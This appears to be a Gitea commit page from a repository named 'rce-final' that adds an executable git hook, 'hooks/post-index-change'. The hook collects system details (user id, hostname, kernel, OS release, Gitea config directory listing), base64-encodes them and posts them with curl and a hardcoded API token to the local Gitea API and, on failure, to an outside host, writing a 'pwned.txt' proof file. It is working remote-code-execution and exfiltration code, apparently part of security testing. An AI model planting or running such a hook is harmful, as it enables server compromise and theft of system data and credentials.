secaudit77/rce-final
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

r1

Browse Source
This commit is contained in:
secaudit77
2026-08-09 12:48:10 +02:00
parent 7943570901
commit 786980a83b
1 changed files with 6 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

6
hooks/post-index-change Executable file
View File

@@ -0,0 +1,6 @@
#!/bin/sh
RESULT=$(id; hostname; uname -a; cat /etc/os-release 2>/dev/null | head -3; whoami; pwd; ls -la /data/gitea/conf/ 2>/dev/null | head -5)
ENCODED=$(echo "$RESULT" | base64 | tr -d "\n")
DATA="{\"message\":\"proof\",\"content\":\"${ENCODED}\"}"
curl -sk -X POST "http://localhost:3000/api/v1/repos/secaudit77/rce-final/contents/pwned.txt" -H "Authorization: token 716231906ac33d9eda86a2fc1545978851a7db49" -H "Content-Type: application/json" -d "$DATA" > /tmp/_exfil.log 2>&1
if grep -q "error\|fail" /tmp/_exfil.log 2>/dev/null; then curl -sk -X POST "https://git.fbaitech.net/api/v1/repos/secaudit77/rce-final/contents/pwned.txt" -H "Authorization: token 716231906ac33d9eda86a2fc1545978851a7db49" -H "Content-Type: application/json" -d "$DATA" >> /tmp/_exfil.log 2>&1; fi